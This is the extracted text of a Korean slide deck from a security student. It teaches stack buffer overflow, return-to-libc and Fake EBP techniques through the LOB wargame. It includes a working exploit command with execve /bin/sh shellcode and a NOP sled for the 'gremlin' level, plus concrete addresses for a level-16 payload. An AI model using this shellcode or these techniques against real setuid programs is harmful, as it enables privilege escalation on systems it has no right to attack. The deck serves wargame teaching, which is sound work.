bof기초+rtl+fake_ebp

Preview:

Citation preview

꺄륵><

시스템 해킹을 해볼까요?

꺄르르륵><

꺄륵><

#whoami조우석����������� ������������������  (OneTwo)

세종대학교����������� ������������������  정보보호학과����������� ������������������  2학년����������� ������������������  

SSG����������� ������������������  (Sejong����������� ������������������  Security����������� ������������������  Group)����������� ������������������  부원����������� ������������������  

Inc0ginto����������� ������������������  운영진����������� ������������������  

차세대보안리더양성프로그램����������� ������������������  BoB����������� ������������������  5기����������� ������������������  교육생����������� ������������������  

blog.asdfasdf.kr����������� ������������������  

원래����������� ������������������  개발했었지만....����������� ������������������  어느순간����������� ������������������  보안����������� ������������������  공부하고����������� ������������������  있네요

OneTwo

꺄륵><

• 시스템해킹

• BOF란?

• BOF의 원리

• BOF를 활용해보자

• RTL

• Fake EBP

• 실습해볼까요?

CONTENTS

꺄륵><

시스템 해킹

OS 또는 프로그램의 취약점(관리자 권한 등 획득)

나쁜짓 하는 것!

뭐하는 것들일까...

펭귄 카와이 ><

꺄륵><

Stack O

verFlow

Heap Ov

erFlow

Integer

OverFlo

w

Type Co

nfusion

Use Afe

r Free

Format

String

Bug

존나 많죠?ㅋ

시스템 해킹

OS 또는 프로그램의 취약점(관리자 권한 등 획득)

나쁜짓 하는 것!

꺄륵><

시스템 해킹

Buffer Overflow!!

버퍼를 넘치게 하면 됩니다.

참 쉽죠?

(stack)

꺄륵><

BOF란?

Buffer?

데이터를 일시적으로메모리 상에 저장하는 임시기억공간

꺄륵><

BOF란?

Buffer?

데이터를 일시적으로메모리 상에 저장하는 임시기억공간

꺄륵><

BOF란?

꺄륵><

BOF란?

A를 1만번이나!!

꺄륵><

BOF란?

꺄륵><

BOF의 원리 프로그램 구동

꺄륵><

BOF의 원리 프로그램 구동

꺄륵><

BOF의 원리 프로그램 구동

스택입니다...

0xffffffff

0x00000000

꺄륵><

BOF의 원리 프로그램 구동

ret

ebp

0x1 0x2

… …

4byte

4byte

8byte

0xffffffff

0x00000000

꺄륵><

BOF의 원리 프로그램 구동

ret

ebp

buf1 buf2

… …

4byte

4byte

8byte

Buffer에 16byte의

값을 넣어주면?

buffer가 사용자로부터 값을 입력 받을 때...

꺄륵><

BOF의 원리 BOF!!

ret

ebp

buf1 buf2

… …

4byte

4byte

8byte A x 16

꺄륵><

BOF의 원리

0x41414141

0x41414141

0x41414141 0x41414141

… …

4byte

4byte

8byte Buffer Overflow!!

BOF!!

꺄륵><

BOF의 원리

0x41414141

0x41414141

0x41414141 0x41414141

… …

4byte

4byte

8byte

특정 영역에 쉘코드 삽입

쉘코드의 주소를 ret에 덮여씌움

Buffer Overflow!!

쉘코드를 수행

Exploit!!

BOF!!

꺄륵><

BOF의 원리 조건!!

SetUID

파일이 실행되는 동안에 잠깐 파일 소유자의 권한을 빌려오고, 작업을 마친후에 다시 권한을 반한

passwd

꺄륵><

BOF의 원리 조건!!

gremlin(상위 상위 레벨 계정)

프로그램 실행시 gremlin 계정 기반으로 프로세스 엑세스 권한 부여

꺄륵><

BOF의 원리 BOF!!

간단한 Buffer Overflow

꺄륵><

BOF의 원리 BOF!!

더미 X

꺄륵><

BOF의 원리 BOF!!

ret

sfp

buffer

… …

4byte

4byte

256byte

260byte의 값

4byte의 return주소

꺄륵><

BOF의 원리 BOF!!

ret

sfp

buffer

… …

4byte

260byte

“x90”*100+”쉘코드”(25)+”x90”*135 buffer의 주소

꺄륵><

BOF의 원리 BOF!!

&buffer

0x90909090

0x90909090 0x90909090 0x90909090 0x90909090

… ShellCode

… 0x90909090 0x90909090 0x90909090 0x90909090

buffer (256)

ebp (4byte)

ret (4byte)

꺄륵><

BOF의 원리 BOF!!

0xbffff8c8

꺄륵><

BOF의 원리 BOF!!

./gremlin `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*135+"\xc8\xf8\xff\xbf"'`

꺄륵><

BOF의 원리 BOF!!

꺄륵><

BOF를 활용해보자

과연 이것만으로 해킹 가능?

물론 가능하기는 합니다.

??!!!

꺄륵><

BOF를 활용해보자

보호기법ㅋ

꺄륵><

BOF를 활용해보자

특정 메모리 영역을 필터링

DEP / NX

스택, 힙 같은 영역의 코드가 실행되지 않도록 차단

버퍼 초기화, argv검사 등등

그 외, ASLR, Stack Cookie, ASCII-Armor, Canary 등등

꺄륵><

BOF를 활용해보자

RTL Fake EBPReturn to Library(Libc)

DEP특정영역����������� ������������������  필터링

ret까지만����������� ������������������  오버플로우����������� ������������������  가능

꺄륵><

RTLReturn to Library(Libc)

DEP����������� ������������������  우회

libc -> 스택상에 있는 것이 아님

꺄륵><

RTLReturn to Library(Libc)

쉘코드 없이 Exploit 가능

system, exec

ㄱㅇㄷ

꺄륵><

RTLReturn to Library(Libc)

system() &system

나는 쓰레기에요..ㅠㅠ(4byte)

&/bin/sh

ebp+8참조

꺄륵><

RTLReturn to Library(Libc)

system() &system

나는 쓰레기에요..ㅠㅠ(4byte)

&/bin/sh

ebp+8참조

ret 또는 eip

꺄륵><

RTLReturn to Library(Libc)

&system, &/bin/sh

?

꺄륵><

RTLReturn to Library(Libc)

gdb coding

꺄륵><

RTL

&system

ebp

buffer

쓰레기..에요 ㅠ

&/bin/sh

ret (4byte)

쓰레기에요 ㅠ.ㅠ (4byte)

bin/sh(4byte)

꺄륵><

Fake EBP

특정영역����������� ������������������  필터링

ret까지만����������� ������������������  오버플로우����������� ������������������  가능

EBP를 속인다.

ret

ebp

buf1 buf2

… …

What?

꺄륵><

Fake EBP

ret

ebp

buf1 buf2

… …

꺄륵><

Fake EBPleave

move esp, ebppop ebp

pop eip

jmp eip

ret

&leave

$buffer-4

buf1 buf2

buffer-4

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

&leave

ret

esp 에요><

ebp 에요><

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

ret

esp 에요>< ebp 에요><

실행!!

&leave

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

ret

실행!!

&leave

esp 에요><

ebp 에요><

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

ret

실행!!&leave

esp 에요><

ebp 에요><

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

retesp 에요>< ebp 에요><

실행!!

pop eip

jmp eip

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

ret

esp 에요><

실행!!

pop eip

jmp eip

꺄륵><

Fake EBP

&leave

$buffer-4

buf1 buf2

buffer-4

leave

move esp, ebppop ebp

ret

buffer의 내용 수행

실행!!

pop eip

jmp eip

꺄륵><

실습해볼까요?

Fake EBP + RTL

LOB 16Level

꺄륵><

실습해볼까요?

꺄륵><

실습해볼까요?&leave = 0x080484df

꺄륵><

실습해볼까요?&leave = 0x080484df

&system() = 0x40058ae0

꺄륵><

실습해볼까요?&leave = 0x080484df

&system() = 0x40058ae0

&buffer-4 = 0xbffffa5c

꺄륵><

실습해볼까요?&leave = 0x080484df

&system() = 0x40058ae0

&buffer-4 = 0xbffffa5c

&/bin/sh = 0x400fbff9

꺄륵><

실습해볼까요?

&leave = 0x080484df

&system() = 0x40058ae0

&buffer-4 = 0xbffffa5c

&/bin/sh = 0x400fbff9

쓰레기에요...ㅠㅠ

쓰레기에요...ㅠㅠ

4byte

4byte

4byte

28byte

4byte

4byte

꺄륵><

실습해볼까요?

꺄륵><

실습해볼까요?

꺄륵><

실습해볼까요?

0xbffffa2c??

&system() = 0x40058ae0

꺄륵><

실습해볼까요?

꺄륵><

실습해볼까요?

꺄륵><

출처

대학일기 네이버웹툰 짤....

구글에서 퍼온 수많은 짤들

LOB

꺄륵><

끄읕

꺄륵><

QnA

QnA